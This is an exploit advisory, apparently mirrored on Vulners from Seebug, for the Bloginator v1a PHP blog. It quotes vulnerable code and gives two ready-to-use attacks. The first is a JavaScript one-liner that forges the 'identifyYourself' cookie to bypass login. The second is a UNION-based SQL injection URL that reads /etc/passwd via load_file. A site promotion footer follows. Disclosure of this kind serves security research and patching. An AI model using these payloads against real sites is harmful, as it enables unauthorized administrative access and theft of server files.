Lucene search
K

Bloginator v1a (Cookie Bypass/SQL) Multiple Remote Vulnerabilities

🗓️ 20 Mar 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 8 Views

Bloginator v1a (Cookie Bypass/SQL) Remote Vulnerabilitie

Code

                                                ##########################################################################

Author = FireShot , Jacopo Vuga.
Mail = fireshot<at>autistici<dot>org

Software = Bloginator V1A
Download = http://kamads.com/kamads_ads/download.php?email=bloginator&ID=0

Greets to = Osirys, Myral, str0ke

###########################################################################

Vulnerability = Insicure Cookie Handling

###########################################################################

[CODE]

[URL] www.site.com/bloginator/articleCall.php

global $name,$password,$returnLink;
$p_name = strip_tags(substr($_POST[\'name\'],0,32));
$p_password = strip_tags(substr($_POST[\'password\'],0,32));
if(crypt($p_name , $name) == $name and crypt($p_password,$password) == $password )
 {

           setcookie(\"identifyYourself\",\"you are identified\");
           print \"Login successfull<br>\";
           print $returnLink;
       }
   else {print \"Wrong username or password\";
   }
}

[/CODE]


[EXPLOIT]

javascript:document.cookie = \"identifyYourself=you+are+identified; path=/\";

[/EXPLOIT]

############################################################################

Vulnerability = SQL injection

############################################################################

[CODE]

[URL] www.site.com/bloginator/articleCall.php

$action = @$_GET[\'action\'];
[...]
$id = $_GET[\'id\'];
[...]
function editArticle($id,$message)
{
global $returnLink;
$query = \"select * FROM articles WHERE id=\'$id\'\";
$sql = mysql_query($query) or die(mysql_query());
$title = mysql_result($sql,0,\'title\');
$title = htmlentities($title);
$article = mysql_result($sql,0,\'article\');
$article = htmlentities($article);
$link = mysql_result($sql,0,\'link\');
$link = htmlentities($link);

startHTML(\"Edit ID # \".$id);
?>

[/CODE]

[EXPLOIT]

As Admin (Post Cookie exploit) you can inj arbitrary SQL code in the query.

www.site.com/action=edit&id=fireshot\' union select 1,2,3,4,load_file(\'/etc/passwd\'),6,7 order by \'*

[/EXPLOIT]

############################################################################## 
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation